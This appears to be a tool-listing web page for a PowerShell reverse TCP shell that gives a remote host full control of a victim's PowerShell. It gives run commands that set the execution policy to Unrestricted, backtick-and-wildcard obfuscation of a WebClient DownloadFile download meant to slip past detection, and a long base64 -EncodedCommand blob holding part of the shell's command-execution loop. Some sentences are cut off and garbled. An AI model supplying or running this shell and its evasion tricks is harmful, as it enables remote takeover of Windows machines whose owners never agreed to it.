PowerShell script for connecting to a remote host. Remote host will have full control over client’s PowerShell and all its underlying commands.
Tested with PowerShell v5.1.18362.752 on Windows 10 Enterprise OS (64 bit). Made for educational purposes. I hope it will help!
How to Run?
Change the IP address and port number inside the script.
Set-ExecutionPolicy Unrestricted
.\powershell_reverse_tcp.ps1
PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
Also Read – SkyWrapper : Tool To Discover Suspicious Creation Forms
PowerShell Obfuscation
(New-Object Net.WebClient).DownloadFile($url, $out)
& (`G`C`M *ke-E*) ‘(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T).”`D`O`W`N`L`O`A`D`F`I`L`E”($url, $out)’
*ke-E*
) might start to throw errors due to multiple methods matching the same expression, so the expressions will need to be specified a little bit better.PowerShell Encoded Command
PowerShell -ExecutionPolicy Unrestricted -EncodedCommand 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cgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGEAdABhACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwANAAoACQAJAAkACQB9ACAAYwBhAHQAYwBoACAAewANAAoACQAJAAkACQAJACQAcgBlAHMAdQBsAHQAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsADQAKAAkACQAJAAkAfQANAAoACQAJAAkACQAkAHcAcgBpAHQAZQByAC4AVwByAGkAdABlAEwAaQBuAGUAKAAkAHIAZQBzAHUAbAB0ACkAOwANAAoACQAJAAkACQBDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAtAE4AYQBtAGUAIAAiAGQAYQB0AGEAIgA7AA0ACgAJAAkACQB9AA0ACgAJAAkAfQAgAHcAaABpAGwAZQAgACgAJABkAGEAdABhACAALQBuAGUAIAAiAGUAeABpAHQAIgApADsADQAKAAkAfQAgAGMAYQB0AGMAaAAgAHsADQAKAAkACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsADQAKAAkAfQAgAGYAaQBuAGEAbABsAHkAIAB7AA0ACgAJAAkAaQBmACAAKAAkAHMAbwBjAGsAZQB0ACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsADQAKAAkACQAJACQAcwBvAGMAawBlAHQALgBDAGwAbwBzAGUAKAApADsADQAKAAkACQAJACQAcwBvAGMAawBlAHQALgBEAGkAcwBwAG8AcwBlACgAKQA7AA0ACgAJAAkAfQANAAoACQAJAGkAZgAgACgAJABzAHQAcgBlAGEAbQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AA0ACgAJAAkACQAkAHMAdAByAGUAYQBtAC4AQwBsAG8AcwBlACgAKQA7AA0ACgAJAAkACQAkAHMAdAByAGUAYQBtAC4ARABpAHMAcABvAHMAZQAoACkAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAYgB1AGYAZgBlAHIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAJABiAHUAZgBmAGUAcgAuAEMAbABlAGEAcgAoACkAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAdwByAGkAdABlAHIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAJAB3AHIAaQB0AGUAcgAuAEMAbABvAHMAZQAoACkAOwANAAoACQAJAAkAJAB3AHIAaQB0AGUAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsADQAKAAkACQB9AA0ACgAJAAkAaQBmACAAKAAkAGQAYQB0AGEAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAIgBkAGEAdABhACIAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAcgBlAHMAdQBsAHQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAIgByAGUAcwB1AGwAdAAiADsADQAKAAkACQB9AA0ACgAJAH0ADQAKAH0ADQAKAA==
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))
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